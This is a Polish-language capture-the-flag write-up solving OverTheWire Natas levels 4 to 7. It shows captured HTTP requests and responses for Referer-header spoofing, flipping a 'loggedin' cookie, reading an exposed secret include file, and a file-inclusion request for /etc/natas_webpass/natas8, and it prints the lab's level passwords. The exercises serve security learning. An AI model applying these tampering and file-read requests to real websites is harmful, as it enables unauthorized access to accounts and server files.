NATAS4:
Link do strony:
http://natas4.natas.labs.overthewire.org/index.php
login: natas4, password: Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ
Po wejściu na stronę pojawia się taki wpis:
Czyli dostęp do strony jest zabroniony, ponieważ wizyta na stronie nie pochodzi z poprzedniego adresu, który jest róźny od http://natas5.natas.labs.overthewire.org/. Zatem aby przejść level należy wejść na level5 bez posiadania hasła na level5, co jest niemożliwe. Spróbujmy obejść to zabezpieczenie. W tym celu potrzebujemy oprogramowania do przechwytywania zapytań HTTP. Przykładem takiej aplikacji jest BurpSuite. Po przechwyceniu zapytania mamy następujący nagłówek:
1 2 3 4 5 6 7 8 9 10 11 |
GET /index.php HTTP/1.1 Host: natas4.natas.labs.overthewire.org User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:72.0) Gecko/20100101 Firefox/72.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Authorization: Basic bmF0YXM0Olo5dGtSa1dtcHQ5UXI3WHJSNWpXUmtnT1U5MDFzd0Va Connection: close Cookie: __utma=176859643.1130831941.1578621503.1578621503.1578858088.2; __utmz=176859643.1578621503.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=176859643 Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 |
Odpowiedź z serwera jest następująca:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
HTTP/1.1 200 OK Date: Wed, 15 Jan 2020 20:44:15 GMT Server: Apache/2.4.10 (Debian) Vary: Accept-Encoding Content-Length: 1019 Connection: close Content-Type: text/html; charset=UTF-8 <html> <head> <!-- This stuff in the header has nothing to do with the level --> <link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /> <script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas4", "pass": "Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ" };</script></head> <body> <h1>natas4</h1> <div id="content"> Access disallowed. You are visiting from "" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/" <br/> <div id="viewsource"><a href="index.php">Refresh page</a></div> </div> </body> </html> |
W celu przełamania powyższego zabezpieczenia niezbędne jest ustawienie nagłówka Referer na http://natas5.natas.labs.overthewire.org
1 2 3 4 5 6 7 8 9 10 11 12 |
GET /index.php HTTP/1.1 Host: natas4.natas.labs.overthewire.org User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:72.0) Gecko/20100101 Firefox/72.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://natas5.natas.labs.overthewire.org/ Authorization: Basic bmF0YXM0Olo5dGtSa1dtcHQ5UXI3WHJSNWpXUmtnT1U5MDFzd0Va Connection: close Cookie: __utma=176859643.1130831941.1578621503.1578621503.1578858088.2; __utmz=176859643.1578621503.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=176859643 Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 |
W wyniku zmiany nagłówka serwer podaje hasło do piątego poziomu:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
HTTP/1.1 200 OK Date: Wed, 15 Jan 2020 20:51:19 GMT Server: Apache/2.4.10 (Debian) Vary: Accept-Encoding Content-Length: 962 Connection: close Content-Type: text/html; charset=UTF-8 <html> <head> <!-- This stuff in the header has nothing to do with the level --> <link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /> <script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas4", "pass": "Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ" };</script></head> <body> <h1>natas4</h1> <div id="content"> Access granted. The password for natas5 is iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq <br/> <div id="viewsource"><a href="index.php">Refresh page</a></div> </div> </body> </html> |
NATAS5:
Link do strony: http://natas5.natas.labs.overthewire.org/index.php
Login : natas5, password: iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
Po zalogowaniu okazuje się, że … nie jesteśmy zalogowani…
W kodzie strony też nie ma żadnej interesującej informacji:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
<html> <head> <!-- This stuff in the header has nothing to do with the level --> <link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /> <script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas5", "pass": "iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq" };</script></head> <body> <h1>natas5</h1> <div id="content"> Access disallowed. You are not logged in</div> </body> </html> |
Należy zatem wykorzystać program do przechwytywania zapytań HTTP, BurpSuite, które wygląda następująco:
1 2 3 4 5 6 7 8 9 10 11 |
GET /index.php HTTP/1.1 Host: natas5.natas.labs.overthewire.org User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:72.0) Gecko/20100101 Firefox/72.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Authorization: Basic bmF0YXM1OmlYNklPZm1wTjdBWU9RR1B3dG4zZlhwYmFKVkpjSGZx Connection: close Cookie: __utma=176859643.1130831941.1578621503.1578621503.1578858088.2; __utmz=176859643.1578621503.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=176859643; loggedin=0 Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 |
Jedno z ciasteczek o nazwie loggedin posiada wartość równą 0, natomiast jeżeli zmienimy jego wartość na 1, to wówczas:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
HTTP/1.1 200 OK Date: Wed, 15 Jan 2020 21:23:02 GMT Server: Apache/2.4.10 (Debian) Set-Cookie: loggedin=1 Vary: Accept-Encoding Content-Length: 890 Connection: close Content-Type: text/html; charset=UTF-8 <html> <head> <!-- This stuff in the header has nothing to do with the level --> <link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /> <script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas5", "pass": "iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq" };</script></head> <body> <h1>natas5</h1> <div id="content"> Access granted. The password for natas6 is aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1</div> </body> </html> |
Udaje się zdobyć hasło do kolejnego poziomu, hasło : aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
NATAS6:
Link do strony: http://natas6.natas.labs.overthewire.org
login: natas6, password: aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
Następnie podglądamy kod źródłowy, po prawej stronie jest przycisk View Sourcecode:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
<html> <head> <!-- This stuff in the header has nothing to do with the level --> <link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /> <script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas6", "pass": "<censored>" };</script></head> <body> <h1>natas6</h1> <div id="content"> <? include "includes/secret.inc"; if(array_key_exists("submit", $_POST)) { if($secret == $_POST['secret']) { print "Access granted. The password for natas7 is <censored>"; } else { print "Wrong secret"; } } ?> <form method=post> Input secret: <input name=secret><br> <input type=submit name=submit> </form> <div id="viewsource"><a href="index-source.html">View sourcecode</a></div> </div> </body> </html> |
Na podstawie zawartości kodu strony można wywnioskować, że interesujący może być plik includes/secret.inc. Sprawdźmy zatem jego zawartość, przechodzimy na adres: http://natas6.natas.labs.overthewire.org/includes/secret.inc
1 2 3 |
<? $secret = "FOEIUWGHFEEUHOFUOIU"; ?> |
Teraz wystarczy wpisać wartość zmiennej secret do formularza:
Access granted. The password for natas7 is 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9
NATAS7:
Login do strony: http://natas7.natas.labs.overthewire.org
Login: natas7, password: 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9
Przeglądamy kod strony:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
<html> <head> <!-- This stuff in the header has nothing to do with the level --> <link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /> <script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas7", "pass": "7z3hEENjQtflzgnT29q7wAvMNfZdh0i9" };</script></head> <body> <h1>natas7</h1> <div id="content"> <a href="index.php?page=home">Home</a> <a href="index.php?page=about">About</a> <br> <br> <!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 --> </div> </body> </html> |
W komentarzu do strony umieszczona jest wskazówka, która twierdzi iż hasło do kolejnego poziomu mieści się w pliku /etc/natas_webpass/natas8.
Należy zatem podejrzeć jego zawartość. Działanie strony polega na tym, że do parametru page wprowadzana jest nazwa podstrony, np: http://natas7.natas.labs.overthewire.org/index.php?page=home.
Należy zatem spróbować wskazać wartość parametru z podpowiedzi:
http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8
Pojawia się kod do 8 poziomu, DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe